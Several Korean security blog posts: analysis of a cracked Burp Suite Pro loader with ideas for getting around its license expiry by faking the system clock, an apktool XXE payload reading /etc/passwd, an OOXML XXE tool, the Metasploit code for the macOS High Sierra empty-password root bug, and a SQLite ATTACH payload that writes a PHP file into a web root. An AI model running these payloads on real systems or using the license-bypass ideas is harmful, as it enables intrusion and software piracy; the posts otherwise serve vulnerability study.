12/15/2017

[HACKING] Analyzing BurpLoader.jar in Burp Suite Pro Crack(Larry Lau version) Part3(Bypass Certificate expiration time)

오랜만에... BurpLoader.jar 분석 3번째 이야기를 할까 합니다.

Analysis BurpLoader.jar Part 1

http://www.hahwul.com/2017/06/hacking-analyzing-burploaderjar-in-burp.html

Analysis BurpLoader.jar Part 2

http://www.hahwul.com/2017/06/hacking-analyzing-burploaderjar-in-burp_20.html

Analysis BurpLoader.jar Part 3

http://www.hahwul.com/2017/12/hacking-analyzing-burploaderjar-in-burp.html

BurpLoader가 가끔 주기적으로 실행이 안되는 문제가 있었습니다. 매번 새로운 Larry 버전을 구하러 다니는데.. 이유를 찾다보니 이 프로그램에 대해 조금 더 다가갈 수 있었네요.

이 화면에서 넘어갈 수가 없죠.

이전 BurpLoader.jar 분석

이전에는 악성 여부에 대한 분석이 중점이였습니다. 다만 이번엔, 가끔씩 발생하는 License 관련 오류의 원인이 무엇일까? 라는 고민에서 출발했습니다.

매번 구 버전의 Burploader는 어느정도 시간이 지나면 저런 현상이 발생했었죠. 처음엔 원격지 서버와 통신해서 처리하나? 생각을 했었는데, 지난번 분석에서도 같이 네트워크 트래픽이 특별하게 튀진 않았습니다.

그래서 의심을 하게된 부분이 바로..

"인증서 or 시간제한"


인증서의 경우 유효기간, 시간제한은 당연히 사용할 수 있는 시간에 제약받기 때문에 2개 모두 시간과 관련된 사항입니다. 일단 여러 버전에 대해서 비교를 해봤습니다.

v1.7.11 vs v1.7.17


일단 2가지 버전의 BurpLoader.jar를 구해서 차이를 비교해봤습니다.

#> pkgdiff BurpLoader.jar BurpLoader_17.jar 
reading packages ...
comparing packages ...
creating changes report ...
result: CHANGED (0.1%)
see detailed report:
  pkgdiff_reports/BurpLoader/X_to_17/changes_report.html


애게? 0.1%?? 이건 뭐.. 거의 주석에 있는 버전 변경 수준인데요. 직접 코드를 확인해보니 특정 값과 버전 정보가 바뀌었습니다.

바뀐 파일은 META_INF의 MANIFEST.MF 파일입니다. 압축 풀고 봐봅시다.

#> jar xvf BurpLoader.jar 




매니페스트에선 앱의 기본적인 정보를 저장합니다. 이건 안드로이드와 비슷하죠.(안드로이드 앱은 Java 기반이니)

혹시나 이미지에 뭐가 있을까? 해서 봤지만.. 별거 없습니다. 깊숙히 숨겼다면 코드 분석 아니면 식별이 안되겠지만, 일단 exif엔 없네요.

아무것도 없다고 한다.


Code Analysis 

보다보니 추가로 알게된 내용이 더 있었습니다. 원격지로 요청이 발생할 수 있는 코드는 BurpLoader에 내장되어 있고, 이는 실행과정에서 무조건 거쳐갑니다.
(물론 트리거 안되는 경우가 다수 같아요)

security/CodeSource 구간

흐름상으론 무조건 확정


추가로 지난번 ldc 말고도 md5 하나가 더 있었네요.

새로운 md5 패턴 데이터 발견

How to Fix?

다시 본론으로 와서 1.7.11 과 1.7.17의 차이가 아주 미미한 데이터 정도 차이이고, 인증서일 경우 유효기간으로 인해 Fake 인증이 실패한 것 같습니다.

그래서.. PC 시간을 바꿨죠.

결국은 시간 문제!

헛.. 잘 되네요


이제 머리만 잘 굴리면 쉽게 기간에 구애받지 않는 프로그램을 만들 수 있습니다.
시간을 바꾸고 실행 후 다시 시간 원상 복귀를 한다면 인증서 기간에 영향받지 않고 가능하죠.

라고 생각했으나 실제로 실행해보니 중간중간 인증서에 대한 체크로 인해 프로그램이 종료합니다. (원래 날짜로 돌렸으니)

아주 간단한 트릭으론 ... 불가능한듯.

결국 인증서 검증 로직은.. BurpLoader의 부분이 아닌 Pro 버전의 부분으로 판단됩니다.
그럼 어떻게 해야할까?

생각해보니 몇가지 방법이 떠오르더군요.

1. 가상환경에서 BurpLoader를 동작(oioi님 아이디어)
2. Docker로 환경 구축
3. 자바 코드로 강제로 시간 데이터를 변조

1,2 번의 경우 간단합니다. 각각의 환경에서 변조된 시각으로 BurpLoader를 실행해주면 됩니다. 3번의 경우도 faketime 같은 라이브러리를 쓰면 가능하죠.

(3번은 이미 관련 프로젝트도 있고, 결과도 굉장히 좋습니다. 궁금하시면 따로 문의주세요)

Conclusion

알면 알아갈수록 복잡하네요. 어떤 방법으로 인증을 풀었는지가 관건인데, 깨작깨작 분석하는 것으로는 오래걸릴 것 같습니다. 그리고 이런건.. 뭔가 악성코드 분석하시는 분들이 훨씬 잘 보실 것 같아요.

관심 있으시면 분석해보고 이야기 나눌 수 있으면 정말 좋을 것 같네요 :)







Share: | Coffee Me:

12/06/2017

[HACKING] DocumentBuilderFactory XXE Vulnerability 분석(ParseDroid, apktool xxe exploit)

요 며칠 사이에 핫하게 바람이 불고있는 DocumentBuilderFactory XXE 취약점에 대햔 이야기를 할까합니다.

checkpoint 글 보고 어제부터 급히 작성하곤 있었는데 생각보다 오래 걸리게 되었네요.


ParseDroid and DocumentBuilderFactory vulnerability

먼저 DocumentBuilderFactory XXE 취약점에 대해 보기 전 ParserDroid에 대해 알아두고 가면 좋습니다. DocumentBuilderFactory의 XXE 취약점으로 인해 영향이 컸던 apktool 취약점과 함께 다른 안드로이드 개발 IDE(대표적으로 이클립스) 에 대한 취약점들이 동시에 공개되었고 이를 묶어서 ParserDroid로 표현합니다.

IDE 취약점 이외에도 apktool을 내장하고 있는 소프트웨어 또한 아주 많을 것이고, 이게 자동으로 업데이트 할 수 있다는 보장이 없기에 파급력이 높다고 생각됩니다.

"ParseDroid는 안드로이드 개발 관련 취약점들의 모음집"


Apktool XXE

먼저 대표적으로 알려진 apktool xxe 부터 보고가겠습니다. apktool 내 loadDocument() 함수에는 XXE 취약점이 존재합니다. loadDocument() 함수는 build , decompile 등에 사용되어 apktool을 활용한 여러 프로그램에 모두 영향을 끼칠 수 있습니다.

private static Document loadDocument(File file) throws IOException, SAXException, ParserConfigurationException{
  DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance();
  DocumentBuilder docBuilder = docFactory.newDocumentBuilder();
  return docbuilder.parse(file); // exploit trigger 포인트입니다.
}

여기서 loadDocument() 함수가 읽는 파일 중 대표적인게 Manifest 입니다. AndroidManifest.xml 파일도 XML이기 때문에 파싱하는 곳이 있다면 XXE 포인트가 존재하게 됩니다. 공격자가 Manifest에 XXE 구문을 넣은 APK를 apktool를 통해 분석 시 anifest를 읽는 과정에 XXE 구문이 실행됩니다.

사실 이게 전부이기도 합니다. 다만 약간 더 알아가면 apktool 이외에도 다른 IDE에서 어떻게 취약점이 나왔는지 알 수 있습니다.

DocumentBuilderFactory Class

가장 깊은 곳의 원인부터 보면 DocumentBuilderFactory class를 확인해야합니다.
이 class는 javax의 xmlpaser이며(javax/xml/parsers/DocumentBuilderFactory.java) 대체로 아래와 같은 형태로 로드하여 사용합니다.

import javax.xml.parsers.DocumentBuilderFactory;

아까 위에서 이야기했던 loadDocument 함수 또한 내부적으로 DocumentBuilderFactory를 사용하여 XML 데이터를 파싱하고, 이 부분까지 XXE 코드를 흘리게 되면 정확하게 공격이 성공하게 됩니다.

아래 대충 간단하게.. java 코드가 있다고 가정합시다. 이 코드는 DocumentBuilderFactory를 통해 xml을 파싱하는 코드입니다.
얼핏보면 위에서 봤던 loadDocument() 함수와 비슷하죠.

String xml = "<document><test></test></document>";
ByteArrayInputStream xmldata = new ByteArrayInputStream(xml.getBytes());

DocumentBuilderFactory abstractFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder factory = abstractFactory.newDocumentBuilder();
Document doc = factory.parse(xmldata);
doc.getDocumentElement().normalize();  
System.out.println("Root element is " + doc.getDocumentElement().getNodeName());

만약 여기에 ENTITY 구문이 들어간다면 어떻게 될까요?

String xml = '<!ENTITY hwul SYSTEM "file:///etc/passwd"><document><test>%hwul</test></document>';
ByteArrayInputStream xmldata = new ByteArrayInputStream(xml.getBytes());

DocumentBuilderFactory abstractFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder factory = abstractFactory.newDocumentBuilder();
Document doc = factory.parse(xmldata);
doc.getDocumentElement().normalize();  
System.out.println("Root element is " + doc.getDocumentElement().getNodeName());

DocumentBuilderFactory의 parse() 메소드는 ENTITY 구문을 처리하려고 하겠지요. 그래서 이 앞단에 처리할 수 있는 부분과 없는 부분을 걸러주는 코드가 필요하게 됩니다. apktool을 비롯하여 여러 IDE들은 처리하는 부분이 부족했고 이를 통해서 ENTITY 구문이 프로그램으로 흘러가 코드가 실행됩니다.

Let's go Exploit!

우선 apk 파일을 하나 만들어주고 AndroidManifest.xml 파일에 XXE 구문을 삽입합니다.

<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE tttest [<!ENTITY hwul SYSTEM "file:///etc/passwd"><test>%hwul</test>]>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.android.donebar"
    android:versionCode="1"
    android:versionName="1.0">

    <!-- Min/target SDK versions (<uses-sdk>) managed by build.gradle -->

    <application android:label="@string/app_name"
.....


그러고 이 apk가 DocumentBuilderFactory의 parser를 거쳐가도록 apktool, eclipse, android studio 등으로 디컴파일, 리패키징 등 분석 옵션으로 apk를 로드해주면 XML 파싱에 성공하여 XXE 코드가 실행되게 됩니다.

#> java -jar apktool_2.0.3.jar d vuln.apk

확실한 체크를 위해선 file 구문보단 원격지 서버로 요청 날려서 넘어왔는지 체크하는 방법이 가장 좋을 것 같네요.

Conclusion

간만에 굉장히 위협적인 취약점이 나왔다고 생각합니다. apktool만 해도 그 툴을 쓰는 여러 프로그램 모두 XXE 공격에 노출될 수 있고, 대체로 내부의 서드파티 앱으로 사용되는지라 업데이트 하려는 시도가 적을거란 생각이 드네요.

또한 개발자, 보안가 등 안드로이드 앱을 만들거나 분석하는 사람을 타겟이 되기 떄문에 조금 다른 공격 시나리오도 구상해볼 수 있을 것 같네요. (예시로는 악의적인 git 프로젝트, 개인적으로 생각난건 cuckoo sandbox 같은 분석 환경에 대한 침투?!)

관련해서 개인적으로 몇몇 사람끼리 작은 프로젝트 해보려는데, 결과 재미있으면 공유드리겠습니다 :)

Reference

https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/
https://github.com/Himansu-Nayak/java7-sourcecode/blob/master/javax/xml/parsers/DocumentBuilderFactory.java
Share: | Coffee Me:

12/05/2017

[WEB HACKING] OOXML XXE with Burp Suite(OOXML XXE 관련 Burp suite Extension)


어제 쓸만한 Burp Extension을 찾았습니다 :)

PortSwigger 공식 Github엔 올라와있지만 아직 BApp Store엔 안올라온 OOXML XXE 관련 확장 기능입니다.

이야기에 앞서 해당 툴을 만든 사람은 "maxence-schmitt" 입니다. PortSwigger쪽에서 공식적으로 지원하려하는 것 같네요.
(https://github.com/maxence-schmitt/OfficeOpenXMLEditor)

설치 과정에서 발생하는 코드는 PortSwigger 쪽 github 링크로 작성하겠습니다.

What is OOXML XXE?

먼저 OOXML XXE 취약점에 대해 간략히 설명드리면.. OOXML(Office Open XML)을 사용하는 파일에 XXE 구문을 삽입해서 OOXML을 파싱하는 구간에서 XXE 구문이 실행되도록 하는 공격입니다. docx, pptx 등 office 파일은 PK 헤더를 가지며 압축 포맷으로 생성됩니다. 그래서 unzip 으로 까보면..

#> unzip asample.pptx 
Archive:  asample.pptx
  inflating: [Content_Types].xml   
  inflating: _rels/.rels           
  inflating: ppt/slides/_rels/slide1.xml.rels
  inflating: ppt/_rels/presentation.xml.rels
  inflating: ppt/presentation.xml

과 같이 여러가지 파일이 보이고 이중에는 XML 파일도 존재합니다. 바로 저 부분에 XXE 구문을 삽입하는 거죠.

관련하여 올해 5월 작성해둔 포스팅이 있으니 자세한 내용은 아래 링크 참고해주세요.

http://www.hahwul.com/2017/05/web-hacking-ooxml-xxe.html

Burp Suite Extension!

원작자, PortSwigger쪽 github로 들어가면 확장기능을 받을 수 있습니다. 오픈소스로 공개되어 있어 참여를 통해 더 좋은 툴로 만들어나갈 수도 있겠죠.

https://github.com/maxence-schmitt/OfficeOpenXMLEditor
https://github.com/PortSwigger/office-open-xml-editor

office 문서에는 여러가지 xml 파일이 있습니다. 그 중 이 확장기능은 기본적으로는 [Content_Types].xml 에 대한 편집을 지원합니다.
물론 다른 파일에 대해서 편집하고 싶다면 conf/conf.json 을 수정하여 변경할 수 있습니다.

[content_Types].xml은 기본적으로 꼭 들어가야하는 파일이고 파싱에도 많이 사용되기 때문에 대부분 이쪽으로 공격코드를 많이 넣지요.

아무튼 설치로 넘어가보면.. 먼저 clone 해줍니다.

#> git clone https://github.com/PortSwigger/office-open-xml-editor
#> cd office-open-xml-editor

보면 python 코드 3개와 잡다한 파일이 보입니다.

.
├── OfficeOpenXMLEditor.py
├── README.md
├── UpdateableZipFile.py
├── conf
│   └── conf.json
├── images
│   ├── OfficeOpenXMLTab.png
│   └── OfficeOpenXMLTabCollaborator.png
└── multipart.py

여기서 메인이 되는 파일은 OfficeOpenXMLEditor.py 입니다.

Burp Suite를 실행한 후 Extender > Extension > Add 로 가셔서 Extension Type을 python으로 설정하고 Load 해줍니다.




이후부터 Proxy 탭과 Repeater에서 OOXML 사용 시 OOXML 편집 도구가 나타납니다. 한땀한땀 만들거나 기존에 나와있는 Rails 코드 쓰는 것 보단 훨씬 편하겠네요 :)

귀찮았는데, 굉장히 편해졌습니다 :)

Reference

https://github.com/maxence-schmitt/OfficeOpenXMLEditor
https://github.com/PortSwigger/office-open-xml-editor
http://www.hahwul.com/2017/05/web-hacking-ooxml-xxe.html
Share: | Coffee Me:

[CODING] bookmarklet을 이용한 브라우저 내 기능 추가하기(vs Browser Extension)

한 1~2개월 전 쯤 Bookmarklet의 존재를 알았습니다.
확장기능만 개발해서 써오던 저에겐.. 나름대로 신세계 였네요.
(이 좋은걸 모르고 썼었다니 =_=)

오늘은 Bookmarklet에 대한 이야기를 하려합니다.

Bookmarklet?

즐겨찾기, 즉 Bookmark를 이용해서 자바스크립트를 실행할 수 있습니다. 이를 공식적으로 지원하고 있기 때문에 마치 Browser Extension을 쓰는것과 같은 효과를 낼 수 있습니다.

JS를 이용해 처리할 수 있는 모든 부분은 Bookmarklet으로 만들 수 있겠죠.

재미있는점은.. Bookmarklet은 Browser Extension과 동일하게 페이지 자체에 Javascript가 Inject 됩니다.

그래서 다른 보안적인 정책을 피해 현재 보이는 페이지의 Object를 제어할 수 있습니다.


Bookmarklet vs Browser Extension


둘다 비슷하지만 서로 장단점이 확실하게 존재합니다.
일단 Javascript base로 동작하고 현재 페이지에 Injection 되서 동작한다는 점은 공통적이고 아주 좋습니다.

굳이 차이를 보자면..

Bookmarklet
 - 만들기 쉬움
단순히 Javascript 코드를 끌어서 Bookmark 공간에 넣어주면 됩니다. 아주 쉽지요.
 - UI 구성이 어려움, 북마크에만 넣을 수 있음
JS 코딩을 아주 열심히 한다면.. UI 구성도 가능하겠지만, 이 과정 자체가 Extension보단 불편합니다.

Browser Extension
 - 만들기 위해서 JS 이외에 부가적인 코딩이 필요함(해봤자 HTML/CSS)
코딩 후 압축, Extension 항목에서 로드하여야 사용할 수 있습니다. 코드를 변경할때마다 번거로움이 따라옵니다.
 - UI 구성이 편리하고, 북마크 이외에도 넣을 수 있음
HTML 구간을 직접 작성할 수 있기 때문에 한 Extension안에 여러가지 기능을 넣기 좋습니다. 그래서 기능의 복잡도가 커진다면 Extension이 확실히 좋습니다.

이정도일 것 같습니다. 가벼운 기능이라면 Bookmarklet이 압도적으로 편리할 것이고 여러 기능과 UI 구성이 필요하다면 Extension쪽이 좋을 것 같습니다.

만들어보자


<html>

<a href="javascript:alert(document.cookie);">COOKIE</a>

</html>

alert으로 cookie 데이터를 보는 코드를 a 태그에 넣어줍니다. 그리고 해당 페이지를 로드한 후 COOKIE(이름) 을 드래그앤드롭하여 북마크 영역에 놓아줍니다.


Reference

https://en.wikipedia.org/wiki/Bookmarklet
Share: | Coffee Me:

12/03/2017

[WEB HACKING] Reflected XSS를 쉽게 찾자 - "Reflector" Burp Suite Extension

올 여름쯤이였나요? oioi님의 이야기로 쓸만한 Burp 플러그인 하나를 사용중입니다.
오늘은 Reflected XSS를 찾는데 있어 탁월한 성능을 보여주는 Reflector에 대한 이야기를 하려합니다.

Reflector?


공식 Git에는 아래와 같이 소개되어 있습니다.

"Burp Suite extension is able to find reflected XSS on page in real-time while browsing on web-site and include some features as:"


딱 Reflected XSS를 찾기 위한 툴입니다. 대충 보면 Sentinel과 비슷할 것 같지만, 이 친구는 Burp pro 버전의 Passive scan과 유사한 기능을 가집니다.
Proxy를 통해 수집되는 정보에 대해 자동으로 체크해보고 결과를 분석가에게 통보해줍니다.

모든 URL에 대해 전수 조사하기 떄문에 놓칠 수 있는 부분을 잡아주지만 그만큼 다수 페이지에 의도하지 않은 요청도 발생할 수 있기 때문에 양날의 칼 같은 존재입니다.
그래도 XSS 코드에 뻗을 서비스면.. 기능 문제가 심히 의심되므로 개인적으로 아주 좋은 Extension으로 생각됩니다.

Install & Setting

Burp suite의 Extension은 자바로 만듭니다. Burp 자체가 자바 기반인 것도 한몫 하겠네요.
먼저 공식 git에서 소스코드를 받아줍니다.

#> git clone https://github.com/elkokc/reflector.git
#> cd reflector

컴파일 후 jar로 압축하여 burp에서 로드하면됩니다.

#> mkdir reles
#> javac -d reles ./src/*.java

class  파일이 생성되었으니 jar 묶어줍시다.

#> jar cvf reflector.jar reles

만들어진 reflector.jar 파일을 BApp Store에서 Manual Install을 통해 설치해줍니다.

https://github.com/elkokc/reflector/blob/master/screenshot/reflector_demo1.gif?raw=true

Code


src 내부에 보면 CheckReflection.java 코드쪽에 검증 하는 로직이 있습니다.
CheckReflection 이란 함수에서 파라미터에 값을 뽑아내고 이를 가지고 요청을 전송해서 문제가 있는지 체크합니다.

    public CheckReflection(Settings settings, IExtensionHelpers helpers, IHttpRequestResponse iHttpRequestResponse, IBurpExtenderCallbacks callbacks) {
                    this.settings = settings;
                    this.helpers = helpers;
                    this.callbacks = callbacks;
                    this.iHttpRequestResponse = iHttpRequestResponse;
                    this.bodyOffset = helpers.analyzeResponse(iHttpRequestResponse.getResponse()).getBodyOffset();
                }

                    public List<Map> checkResponse() {
                    List<Map> reflectedParameters = new ArrayList<>();
                    List<IParameter> parameters = helpers.analyzeRequest(iHttpRequestResponse).getParameters(); // 파라미터 가져옴
                    byte[] request = iHttpRequestResponse.getRequest();
                    for (IParameter parameter : parameters){ // 파라미터 만큼 전송
                        byte[] bytesOfParamValue = helpers.urlDecode(parameter.getValue().getBytes());
                        if (bytesOfParamValue.length > 2)
                        {
                            byte b = request[parameter.getValueStart() - 1];
                            if(parameter.getType() == IParameter.PARAM_JSON && b != QUOTE_BYTE){ // QUOTE_BYTE 여부 확인
                                continue;
                            }
                            List<int[]> listOfMatches = getMatches(iHttpRequestResponse.getResponse(), bytesOfParamValue);
                            if (!listOfMatches.isEmpty())
                            {
                    Map parameterDescription = new HashMap();
                    parameterDescription.put(NAME, parameter.getName());
                    parameterDescription.put(VALUE, parameter.getValue());
                    parameterDescription.put(TYPE, parameter.getType());
                    parameterDescription.put(VALUE_START, parameter.getValueStart());
                    parameterDescription.put(VALUE_END, parameter.getValueEnd());
                    parameterDescription.put(MATCHES, listOfMatches);
                    parameterDescription.put(REFLECTED_IN, checkWhereReflectionPlaced(listOfMatches));
                    reflectedParameters.add(parameterDescription);
                }
            }
        }
        if ( settings.getAggressiveMode() && !reflectedParameters.isEmpty() )
        {
            Aggressive scan = new Aggressive(settings, helpers, iHttpRequestResponse, callbacks, reflectedParameters);
            scan.scanReflectedParameters();
        } else if ( settings.getCheckContext() && !reflectedParameters.isEmpty() ) {
            String symbols = "",
                    body = new String(iHttpRequestResponse.getResponse()).substring(this.bodyOffset);
            ArrayList<int[]> payloadIndexes = null;
            //cycle by parameters
            for (Map parameter : reflectedParameters) {
                payloadIndexes = new ArrayList<>();

                for (int[] indexPair: (ArrayList<int[]>) parameter.get(MATCHES)) {
                    int[] tmpIndexes = new int[] { indexPair[0] - this.bodyOffset, indexPair[1] - this.bodyOffset };
                    payloadIndexes.add( tmpIndexes );
                }

                ContextAnalyzer contextAnalyzer = new ContextAnalyzer( body.toLowerCase(), payloadIndexes );
                symbols = contextAnalyzer.getIssuesForAllParameters();
                if ( symbols.length() > 0 ) {
                    parameter.put(VULNERABLE, symbols);
                }
            }
        }
        return reflectedParameters;
    }

체크하는 규칙은 ContextAnalyzer.java 에 정의되어 있습니다.

private String checksContextSecurity(String reflectedPayload, String context){
        String contextChars = null;
        switch (context) {
            case CONTEXT_OUT_OF_TAG: {
                if (reflectedPayload.contains("<")) {
                    contextChars = "<";
                }
            }
            break;
            case CONTEXT_IN_ATTRIBUTE_Q: {
                if (reflectedPayload.contains("'")) {
                    contextChars = "'";
                }
            }
            break;
            case CONTEXT_IN_ATTRIBUTE_DQ: {
                if (reflectedPayload.contains("\"")) {
                    contextChars = "\"";
                }
            }
            break;
            case CONTEXT_IN_TAG: {
                if (reflectedPayload.length() > 0)
                    contextChars = reflectedPayload;
                else
                    contextChars = "ALL";
            }
            break;
            case CONTEXT_IN_SCRIPT_TAG_STRING_Q: {
                if (reflectedPayload.contains("'")) {
                    contextChars = "'";
                }
            }
            break;
            case CONTEXT_IN_SCRIPT_TAG_STRING_DQ: {
                if (reflectedPayload.contains("\"")) {
                    contextChars = "\"";
                }
            }
            break;
            case CONTEXT_IN_SCRIPT_TAG: {
                if (reflectedPayload.length() > 0)
                    contextChars = reflectedPayload;
                else
                    contextChars = "ALL";
            }
            break;
        }
        return contextChars;
    }

Conclusion

한.. 4년전쯤에 Reflected XSS 테스트 쉽게하려고 툴 만들어서 돌리던 기억이 납니다.
곰곰히 생각해보면 Java로 짜서 Burp에 올렸더라면 조금 더 효과적이였을 것 같단 생각이 드네요. 아쉽

편리한 툴이니 잘 활용하시되 의존하진 맙시다 :)

Reference

https://github.com/elkokc/reflector
Share: | Coffee Me:

12/02/2017

[EXPLOIT] macOS High Sierra root privilege escalation 취약점/버그에 대한 이야기(code metasploit)


오랜만에 글을씁니다. 글감은 항상 적어두지만, 글 쓰기까지가 참 어렵네요. (그냥 바쁘다는 핑계임)

최근 macOS High Sierra 버전에서 권한 상승 취약점이 있었습니다.
일단 매우 간단하며 패스워드 공백으로 root 로그인 반복 시도 시 간헐적으로 넘어가지는 경우였죠.

EDB를 보던 중.. 이 취약점에 대한 코드가 있어 궁금증이 생겼습니다.

"아마 코드는 짧겠지만.. 뭐로 로그인 창에 값을 넘길까?"


오늘은 이 Exploit 코드에 대해 이야기할까 합니다.

macOS High Sierra Privilege Escalation

먼저 간략하게 취약점에 대해 이야기드리면 이 취약점은 시스템 환경 설정에서 사용 및 그룹 부분으로 이동하는 과정에서 발생하는 인증에 대해 우회가 가능합니다.
설정 기능을 이용하기 위해선 관리자 권한이 필요하기 때문에 관리 권한에 대해 인증하는 구간이 나타납니다. 그 과정에서 사용자 계정에 대한 패스워드 입력이 있지만,
계정명을 root로 변경 후 패스워드 없이 입력 시 권한이 풀리게 됩니다.

이전에 Linux 에서 백스페이스 20몇번인가 연타하던 취약점과 나름 비슷할 수 있겠지요.

관리 권한이 풀린건 굉장한 리스크입니다. 문제는 환경 설정 부분 뿐만 아니라 다른 사용자의 로그인을 사용하는 부분(대표적으로 부팅 후 계정 로그인 페이지)에도 동일하게 적용할 수 있다는 점입니다.
아래 해당 취약점을 발견한 0xAmit가 올린 트윗 내용에서도 부팅 후 로그인 페이지에서 쉽게 root 계정으로 넘어가는 걸 볼 수 있습니다.

https://twitter.com/0xAmit/status/935607313368481793

요약하자면 이렇습니다.

1. 설정 페이지 접근
2. 유저&그룹 부분으로 접근
3. 자물쇠를 클릭하여 인증 구간 접근
4. 사용자의 계정이 아닌 계정명을 root 로 변경 및 패스워드 공백으로 로그인 시도
5. 로그인 성공?!

Exploit Code on Metasploit

예상했던대로 코드는 매우 간단합니다.
전문: https://www.exploit-db.com/exploits/43201/

중요한 부분은 딱 두가지 입니다. paydload를 받아 실행하는 부분과 실제 Exploit 부분

  def exploit_cmd(root_payload)
    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end

  def exploit
    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, payload.raw)
    register_file_for_cleanup(payload_file)
    output = cmd_exec("chmod +x #{payload_file}")
    print_status("Executing payload file as '#{payload_file}'")
    cmd_exec(exploit_cmd(payload_file))
  end
end

별거없습니다. 먼저 exploit 함수부터 보면 payload(shell이되겠죠)를 임시 파일에 잠깐 저장하고 cmd_exec로 exploit_cmd 함수를 호출합니다.

exploit_cmd 함수는 osascript를 이용해서 넘겨받은 payload를 실행하는데, 이 권한에 대해 user이름을 root로 지정하고 패스워드는 공백인 상태로 넘겨줍니다.

위에서 봤던 부분이죠. 솔직히 너무 간단해서 놀랐네요(뭔가 더 많은걸 기대함)

그럼 이제 궁금증이 하나 더 생깁니다. "osascript"는 뭐지? 전 macOS 사용자가 아니라 잘 모르겠네요.
찾아봅시다.

https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/osascript.1.html

보아하니 AppleScript 스크립트를 실행해주는 프로그램이네요. AppleScript는 macOS에서 사용 가능한 스크립트 언어입니다.
크게 특수하진 않아요. (https://ko.wikipedia.org/wiki/%EC%95%A0%ED%94%8C%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8)

Conclusion

해당 취약점은 빠르게 Apple에 의해 조치되었습니다.
단순하게 물리적인 PC접근 상황에서만 사용할 수 있는 취약점이 아닌 보편적인 Local 권한 상승이기 떄문에 꼭 패치가 필요하단 생각이듭니다.

마지막으로 이 취약점은 단순한 버그일 수 있지만 권한상승이라는 큰 리스크와 연결됩니다.
이처럼 색다른 시도(키보드 연타?!)로 취약점을 찾아볼 수 있으면 재미있겠다는 생각이 드네요 :)

Reference

https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/osascript.1.html
https://www.exploit-db.com/exploits/43201/
https://www.cnet.com/how-to/how-to-fix-the-macos-high-sierra-password-bug/
https://ko.wikipedia.org/wiki/%EC%95%A0%ED%94%8C%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8
Share: | Coffee Me:

11/20/2017

[WEB HACKING] SQLite SQL Injection and Payload


최근 예전에 SSRF 올렸던 내용의 확장격인 나름 개인의 연구과제와 Blind XSS 테스팅 툴 만드는 것 때문에 짧은 글로 가끔 포스팅하는 것 같습니다. (시간이 없다는 핑계, 사실 놀거 다 놀고 있는 느낌..)

아무튼 오늘은 SQLite 에서의 Injection과 Payload에 대한 이야기를 할까합니다.

Injection Point

서버에서 직접 쓰는 경우는 기존 SQL Injection과 동일합니다. 그저 DB가 어떤거냐의 차이뿐.

대신 SQLite의 경우 로컬스토리지나 모바일 앱에서 많이 사용되고 있기 떄문에 몇가지 또다른 공격 포인트가 있습니다.

1. LocalStorage
HTML5 이후부터 LocalStorage를 이용한 데이터 저장이 많이 이루어지고 있습니다. 그중에는 파라미터를 통한 값들이 DOM 영역을타고 LocalStorage로 저장되어 나중에 불러와지는 경우도 많지요. 덕분에 XSS에서 득을 많이 보고있죠.

(걍 링크로 걸어놓으려고 했는데 정리를 안해뒀었네요)

파라미터를 통해 SQLite(LocalStorage) 부분 제어가 가능할 때 공격자는 피해자의 LocalStorage에 데이터를 읽거나 쓸 수 있고 더 나아가 파일을 생성한다던가, 다른 모듈을 불러오는 등 여러 위험요소로 작용할 수 있습니다.

2. Mobile App
어찌보면 LocalStorage와 비슷합니다. 앱 중에선 파일에 여러 설정정보를 두고 신뢰하는 앱들도 있어 공격을 통해 추가적인 보안 위험이 발생할 수 있습니다.

웹뷰의 캐시부터, 각종 설정~잡다한 정보가 거의 SQLite로 (.db파일) 저장되며 사용되기 때문에 Mobile 환경에서 Client를 대상으로한 SQL Injection 공격 또한 위험하다고 생각됩니다.

Payload1 - SQL Query Control

기본적으로 SQL Injection의 가장 기초적이고, 많이 사용되는 공격은 데이터 조회, 수정, 삭제, 추가 등 Query문 제어입니다.

SQLite도 다른 DB와 동일하게 Injection 구문을 통해 데이터 제어가 가능합니다.

그러나 SQLite는 대체로 Front-end DB로 많이 사용되고 서버보단 사용자 입장에서 동작하는 DB의 경우가 많기 떄문에 전체 테이블, 시스템 정보 탈취보단 Injection을 통해 사용자의 중요 정보를 추출해서 공격자 서버로 보내거나, 토큰으로 활용, DB내 데이터 변조를 통해 XSS, CSRF 등 다른 웹 공격에 사용하는 부분이 많습니다.

Payload2 - ATTACH 를 이용한 Webshell 


ATTACH문은 SQLite에서 새로운 DB를 연결할때 사용합니다. 아래와 같이 쿼리를 넘겼을 때 SQLite는 파일을 생성하고 연결되는 DB(database_name)에 저장되는 데이터를 해당 파일로 저장합니다. (SQLite가 파일 기반이기 떄문에)

ATTACH DATABASE file_name AS database_name;

재미있는점은 이 파일이 생성되는 과정을 이용하면 다른 행위를 할 수 있게됩니다.
.sqlite3, .db 등 보편적인 SQLite 확장자가 아닌 Application 확장자로 파일을 만들고 DB에 데이터를 써서 파일 내용을 채울 수 있습니다.

ATTACH DATABASE '/var/www/html/filename.php' AS zzzz ; CREATE TABLE zzzz.payload (dataz text);INSERT INTO zzzz.payload (dataz) VALUES ('<?php echo phpversion();;?>');

코드를 보면 filename.php 라는 파일을 만들고 이를 zzzz 라는 database로 이름을 지어줍니다. 그 다음 zzzz에 table을 만들어주는데, 값에 php 구문을 넣어주죠.

결론적으론 filename.php라는 php 문서가 생기게됩니다.


OneLine shell로 연결하면 간단한 Injection으로도 시스템 접근 권한 탈취가 가능하겠지요?
물론 웹상에서 SQLite를 사용하는 경우는 적습니다. 대체로 RDBMS나 NoSQL과 연결되지만 간혹, 아주 간혹 사용되는 경우도 있고 안드로이드나 iOS App들은 SQLite를 기본적으로 사용하기 때문에 잘 활용한다면 좋은 공격 포인트가 될 수 있을 것 같습니다.

